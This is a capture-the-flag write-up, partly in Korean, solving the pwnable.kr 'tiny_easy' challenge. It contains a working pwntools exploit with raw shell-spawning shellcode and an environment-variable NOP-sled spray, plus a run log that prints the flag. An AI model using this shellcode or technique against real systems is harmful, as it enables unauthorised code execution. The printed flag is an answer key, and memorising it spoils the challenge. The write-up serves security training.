Description
I made a pretty difficult pwn task. However I also made a dumb rookie mistake and made it too easy :( This is based on real event :) enjoy. ssh [email protected] -p2222 (pw:guest)
checksec
tiny_easy@ubuntu:~$ checksec ./tiny_easy [*] '/home/tiny_easy/tiny_easy' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000)
Decompiled src

Analysis
[ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────── registers ──── $eax : 0x1 $ebx : 0x0 $ecx : 0x0 $edx : 0x6d6f682f ("/hom"?) $esp : 0xffffd6b4 → 0x0804805a → add BYTE PTR [eax], al $ebp : 0x0 $esi : 0x0 $edi : 0x0 $eip : 0x6d6f682f ("/hom"?) $eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x00 ───────────────────────────────────────────────────────────────────────── stack ──── 0xffffd6b4│+0x0000: 0x0804805a → add BYTE PTR [eax], al ← $esp 0xffffd6b8│+0x0004: 0x00000000 0xffffd6bc│+0x0008: 0xffffd81d → "SHELL=/bin/bash" 0xffffd6c0│+0x000c: 0xffffd82d → "HOSTNAME=2d0f4d9a440c" 0xffffd6c4│+0x0010: 0xffffd843 → "PWD=/home/ubuntu/pwnable.kr/tiny_easy" 0xffffd6c8│+0x0014: 0xffffd869 → "LOGNAME=ubuntu" 0xffffd6cc│+0x0018: 0xffffd878 → "_=/usr/bin/gdb" 0xffffd6d0│+0x001c: 0xffffd887 → "LINES=66" ─────────────────────────────────────────────────────────────────── code:x86:32 ──── [!] Cannot disassemble from $PC [!] Cannot access memory at address 0x6d6f682f ─────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "tiny_easy", stopped 0x6d6f682f in ?? (), reason: SIGSEGV ───────────────────────────────────────────────────────────────────────── trace ──── ──────────────────────────────────────────────────────────────────────────────────── gef➤
그냥 단순히 실행시켰을때, LOAD:08048058 call edx
에서
edx
를 호출하는 주소가 0x6d6f682f
, 유효하지 않은 실행주소여서 크래시가 발생한다.
checksec에서 확인해봤을때, 모든 보호기법이 꺼져있기 때문에 스택에 쉘코드를 넣어 실행시킬 수 있다.
따라서 환경변수 주소를 유추해서 nop sled가 있는 쉘코드를 넣어서 쉘을 얻을 때까지 계속 실행시키면 된다.
solve.py
from pwn import * # context.log_level = 'debug' context(arch='i386', os='linux') warnings.filterwarnings( 'ignore' ) # setregid(getegid(), getegid()); # execve("/bin//sh", {"/bin//sh", NULL}, NULL) shellcode = b'\x31\xc0\xb0\x32\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x47\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' payload = b"\x90"*1000 + shellcode arg = [p32(0xffab2d40)] _env = {} for i in range(1000): _env[str(i)] = payload # p = process("./tiny_easy") for i in range(1000): p = process(executable = "/home/tiny_easy/tiny_easy", argv=arg, env=_env) try: p.sendline(b"id") p.recvline() except: print(f"try: {str(i)}") continue p.interactive()
Result
tiny_easy@ubuntu:~$ mkdir -p /tmp/w4_tiny_easy tiny_easy@ubuntu:~$ cd /tmp/w4_tiny_easy tiny_easy@ubuntu:/tmp/w4_tiny_easy$ nano solve.py tiny_easy@ubuntu:/tmp/w4_tiny_easy$ python3 solve.py [+] Starting local process '/home/tiny_easy/tiny_easy': pid 1934062 try: 0 [+] Starting local process '/home/tiny_easy/tiny_easy': pid 1934111 try: 1 [+] Starting local process '/home/tiny_easy/tiny_easy': pid 1934137 try: 2 [+] Starting local process '/home/tiny_easy/tiny_easy': pid 1934200 try: 3 [+] Starting local process '/home/tiny_easy/tiny_easy': pid 1934352 try: 4 [+] Starting local process '/home/tiny_easy/tiny_easy': pid 1934381 try: 5 [+] Starting local process '/home/tiny_easy/tiny_easy': pid 1934412 [*] Switching to interactive mode $ ls solve.py tiny_easy $ cat /home/tiny_easy/flag Such_a_tiny_task:_Great_job_done_here!